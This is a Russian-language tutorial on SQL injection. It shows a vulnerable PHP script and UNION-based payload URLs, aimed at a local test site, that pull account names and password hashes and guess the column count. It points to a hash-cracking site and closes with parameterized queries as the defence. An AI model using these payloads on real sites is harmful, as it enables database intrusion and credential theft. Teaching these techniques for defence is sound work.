Публикация на тему

SQL-инъекция

Взлом сайтов через адресную строку.

Автор
Михалькевич Александр Викторович

Публикация

Наименование SQL-инъекция
Автор А.В.Михалькевич
Специальность Взлом сайтов через адресную строку.,
Анотация
Anotation in English
Ключевые слова
Количество символов 6258

Содержание

Введение

SQL инъекция — это один из способов взлома сайта. Суть таких **инъекций** – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного **SQL** кода. Если сайт уязвим и выполняет такие **инъекции**, то по сути есть возможность выполнять любые запросы в базу данных.

1 Выявление уязвиомсти

SQL-инъекция — это возможность выполнения команд SQL, вводимых хакером через браузерную строку либо через элементы форм.

Рассмотрим уязвимый с точки зрения SQL-инъекции скрипт.

```
$file = $_GET['url'];
 $query = "SELECT name FROM $tbl_news WHERE id_news=".$file;
 $adr = mysql_query($query);
 if (!$adr) exit("Ошибка при обращении к блоку статей");
 while($tbl_users = mysql_fetch_array($adr)){
  echo $tbl_users['name'];
 }
```

Т.е. скрипт получает параметр из адресной строки, и без предварительной обработки вставляет его в SQL-запрос. Вызывается через адресную строку он примерно так:

```
http://127.0.0.1/shablon/index.php?url=295
```

2 Ключевое слово UNION

Вместо последнего параметра мы можем ввести заведомо несуществующий параметр, после чего вызвать команду UNION, и с его помощью сделать SELECT из любой другой таблицы.

Так можно получить логины или пароли всех зарегистрированных пользователей. Причем для этого нужно угадать лишь имя таблицы и столбца, где эти логины и пароли находятся.

```
http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+name+FROM+system_accoun
ts
```

Получаем пароли:

```
http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+pass+FROM+system_accoun
ts
```

Склеенные в одну строку пароли выглядят примерно так:

```
523af537946b79c4f8369ed39ba786053147da8ab4a0437c15ef51a5cc7f2dc4
```

Разделим записи, используя функцию CONCAT().

```
http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+CONCAT(name,+"//")+AS+n
ame+FROM+system_accounts
```

Или (тоже самое но с шестнадцатеричным кодом):

```
http://127.0.0.1/shablon/index.php?url=0+UNION+SELECT+CONCAT%28name,+%22//%22
%29+AS+name+FROM+system_accounts
```

Получим удобочитаемые записи:

```
523af537946b79c4f8369ed39ba//786053147da8ab4a0437c15ef51a5cc7f2dc4//
```

Для расшифровки паролей, можно воспользоваться ресурсом https://cmd5.ru

3 Особенности ключевого слова UNION

Рассмотрим еще один уязвимый запрос к БД.

```
$query = "SELECT name FROM $tbl_news WHERE url = '".$file."'";
```

Тогда строка запроса будет выглядеть следующим образом:

```
http://127.0.0.1/shablon/index.php?url=contact%27+UNION+SELECT+name+FROM+syst
em_accounts+WHERE+name+!=%27contact
```

Где:
%27 — это закрывающаяся (в начале запроса) и открывающаяся (в конце) кавычка. Т.е. реально выполнится следующий запрос:

```
SELECT name FROM $tbl_news WHERE url = 'contact' UNION SELECT pass FROM
system_accounts WHERE name != 'contact'
```

Особенности работы команды UNION заключаются в том, что количество столбцов двух склеиваемых таблиц должно совпадать. До сих пор мы склеивали один столбец из таблицы $tbl_news с одним столбцом таблицы system_account. Но в реальности, мы не всегда знаем количество столбцов основной таблицы.

Тогда SQL-инъекция осуществляется путем подбора количества элементов полей:

```
http://127.0.0.1/shablon/index.php?url=contact%27+UNION+SELECT+name,name,name
,name,name,name,name,name+FROM+system_accounts+WHERE+name+!=%27contact
```

Параметр name нужно повторить столько раз, сколько столбцов в таблице $tbl_news (подбирается экспериментально до тех пор, пока запрос не выполнится). Если же мы не знаем имён столбцов таблицы system_accounts, то можно SQL-инъекцию можно произвести следующим образом:

```
http://127.0.0.1/shablon/index.php?url=contact%27+UNION+SELECT+1,1,1,1,1,1,1,
1+FROM+system_accounts+WHERE+name+!=%27contact
```

4 Способы защиты

Наиболее надежным способом предотвращения SQL-инъекций является использование параметризированных SQL-параметров.

```
$db->prepare("SELECT * FROM users WHERE id = ?"); $db->execute($p,
array($_GET['id']))
```

Если позиция параметров явно задана, то можно абсолютно безопасно передавать SQL-запросы базе данных, исключая возможность для параметров самим стать SQL-выражениями.

Заключение

Список использованных источников

1. [Печатное издание] **PHP Pro** 3. Михалькевич А.В. PHP PRO –Мн. :ОДО «Центр Обучающих Технологий», 2016, 381 с.
2. [Печатное издание] **Java. Промышленное программирование: практическое пособие** Блинов, И. Н. / И. Н. Блинов, В. С. Романчик. - Мн. : УниверсалПресс, 2007. - 704 с.

Приложения